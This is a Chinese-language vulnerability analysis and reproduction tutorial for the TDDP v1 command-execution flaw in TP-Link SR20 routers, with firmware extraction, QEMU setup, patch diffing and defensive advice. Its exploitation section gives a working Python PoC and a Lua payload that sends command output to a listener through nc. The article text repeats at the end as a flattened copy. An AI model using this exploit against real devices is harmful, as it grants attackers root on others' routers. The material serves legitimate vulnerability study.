TP Link SR20 ACE漏洞分析
字数 1364 2025-08-27 12:33:48

TP-Link SR20 ACE漏洞分析教学文档

1. 漏洞概述

TP-Link SR20路由器存在一个任意命令执行(ACE)漏洞,该漏洞源于TP-Link设备调试协议(TDDP)v1版本缺乏身份验证机制,允许攻击者在本地网络中以root权限执行任意命令。

2. 前置知识

2.1 TDDP协议

TP-Link Device Debug Protocol (TDDP)是TP-Link申请专利的调试协议:

  • 基于UDP协议,端口1040
  • 两个版本:v1和v2
    • v1:无身份验证和数据加密
    • v2:要求身份验证和加密

协议格式:

  • 第一个字节:版本号(1或2)
  • 第二个字节:类型字段(type)

2.2 C程序调用Lua脚本

漏洞利用涉及C程序调用Lua脚本执行命令:

-- demo.lua示例
function config_test(para1, para2)
    os.execute("whoami")
    os.execute(para1)
    os.execute(para2)
end

C调用示例:

#include <lualib.h>
#include <lauxlib.h>
#include <lua.h>

int main() {
    lua_State *L = luaL_newstate();
    luaL_openlibs(L);
    if (!luaL_loadfile(L, "./demo.lua"))
        lua_pcall(L, 0, 0, 0);
    lua_getglobal(L, "config_test");
    lua_pushstring(L, "ls");
    lua_pushstring(L, "ifconfig");
    lua_call(L, 2, 0);
    lua_close(L);
    return 0;
}

编译命令:

gcc -o call call.c -I/usr/local/include/ -L/usr/local/lib/ -llua -lm -ldl

3. 漏洞原理

3.1 漏洞机制

  • 设备运行TDDP v1协议,无需认证
  • 向UDP 1040端口发送数据,第二字节为0x31时
  • 设备会连接发送请求设备的TFTP服务下载文件
  • 使用Lua解释器以root权限执行下载的文件

3.2 漏洞分析

关键函数调用链:

main → tddp_task_handle → tddp_type_handle → tddp_version1_type_handle → CMD_FTEST_CONFIG

关键代码逻辑:

  1. tddp_version1_type_handle函数检查第二个字节(type字段)
  2. 当type=0x31(CMD_FTEST_CONFIG)时,调用CMD_FTEST_CONFIG函数
  3. 该函数构造命令cd /tmp;tftp -gr %s %s从攻击者TFTP服务器下载文件
  4. 下载的文件通过Lua解释器执行,其中必须包含config_test函数

4. 漏洞复现

4.1 环境准备

  1. 下载固件:

    • 漏洞版本:SR20(US)_V1_180518_V1_180518.zip
    • 修复版本:SR20(US)_V1_190401_V1_190401.zip
  2. 提取文件系统:

binwalk -Me sr20.bin
  1. 搭建QEMU ARM环境:
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2" -net nic -net tap -nographic
  1. 配置TFTP服务器:
sudo apt install atftpd
sudo mkdir /opt/ftp_dir
sudo chmod 777 /opt/ftp_dir
sudo systemctl start atftpd

4.2 漏洞利用

  1. 创建恶意Lua脚本(exp.lua):
function config_test(config)
  os.execute("whoami | nc 192.168.10.1 7777")
end
  1. 将脚本放入TFTP目录:
cp exp.lua /opt/ftp_dir/
  1. 在QEMU中启动tddp服务:
chroot squashfs-root sh
/usr/bin/tddp
  1. 发送恶意数据包(PoC):
# Python PoC示例
import socket

target_ip = "192.168.10.2"  # 路由器IP
target_port = 1040

# 构造恶意数据包
payload = b"\x01\x31" + b"A"*10  # version=1, type=0x31

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (target_ip, target_port))
  1. 监听命令执行结果:
nc -lvnp 7777

5. 补丁分析

修复方式:

  • 在更新版本中完全移除了CMD_FTEST_CONFIG(0x31)对应的处理代码
  • 通过Bindiff对比可见tddp_version1_type_handle函数中相关基本块被删除

6. 漏洞影响与限制

  • 影响:本地网络中以root权限执行任意命令
  • 限制:
    • 只能通过有线网络访问TDDP服务
    • 无法通过Wi-Fi利用
    • 需要本地网络访问权限

7. 防御建议

  1. 升级到最新固件版本
  2. 禁用TDDP v1协议
  3. 配置网络防火墙阻止UDP 1040端口的外部访问
  4. 使用TDDP v2协议替代v1

8. 参考链接

  1. 重现 TP-Link SR20 本地网络远程代码执行漏洞
  2. A Story About TP-link Device Debug Protocol (TDDP) Research
  3. TP-Link专利: Data communication method among CPUs
  4. Remote code execution as root from the local network on TP-Link SR20 routers
TP-Link SR20 ACE漏洞分析教学文档 1. 漏洞概述 TP-Link SR20路由器存在一个任意命令执行(ACE)漏洞,该漏洞源于TP-Link设备调试协议(TDDP)v1版本缺乏身份验证机制,允许攻击者在本地网络中以root权限执行任意命令。 2. 前置知识 2.1 TDDP协议 TP-Link Device Debug Protocol (TDDP)是TP-Link申请专利的调试协议: 基于UDP协议,端口1040 两个版本:v1和v2 v1:无身份验证和数据加密 v2:要求身份验证和加密 协议格式: 第一个字节:版本号(1或2) 第二个字节:类型字段(type) 2.2 C程序调用Lua脚本 漏洞利用涉及C程序调用Lua脚本执行命令: C调用示例: 编译命令: 3. 漏洞原理 3.1 漏洞机制 设备运行TDDP v1协议,无需认证 向UDP 1040端口发送数据,第二字节为0x31时 设备会连接发送请求设备的TFTP服务下载文件 使用Lua解释器以root权限执行下载的文件 3.2 漏洞分析 关键函数调用链: 关键代码逻辑: tddp_version1_type_handle 函数检查第二个字节(type字段) 当type=0x31(CMD_ FTEST_ CONFIG)时,调用 CMD_FTEST_CONFIG 函数 该函数构造命令 cd /tmp;tftp -gr %s %s 从攻击者TFTP服务器下载文件 下载的文件通过Lua解释器执行,其中必须包含 config_test 函数 4. 漏洞复现 4.1 环境准备 下载固件: 漏洞版本:SR20(US)_ V1_ 180518_ V1_ 180518.zip 修复版本:SR20(US)_ V1_ 190401_ V1_ 190401.zip 提取文件系统: 搭建QEMU ARM环境: 配置TFTP服务器: 4.2 漏洞利用 创建恶意Lua脚本(exp.lua): 将脚本放入TFTP目录: 在QEMU中启动tddp服务: 发送恶意数据包(PoC): 监听命令执行结果: 5. 补丁分析 修复方式: 在更新版本中完全移除了 CMD_FTEST_CONFIG (0x31)对应的处理代码 通过Bindiff对比可见 tddp_version1_type_handle 函数中相关基本块被删除 6. 漏洞影响与限制 影响:本地网络中以root权限执行任意命令 限制: 只能通过有线网络访问TDDP服务 无法通过Wi-Fi利用 需要本地网络访问权限 7. 防御建议 升级到最新固件版本 禁用TDDP v1协议 配置网络防火墙阻止UDP 1040端口的外部访问 使用TDDP v2协议替代v1 8. 参考链接 重现 TP-Link SR20 本地网络远程代码执行漏洞 A Story About TP-link Device Debug Protocol (TDDP) Research TP-Link专利: Data communication method among CPUs Remote code execution as root from the local network on TP-Link SR20 routers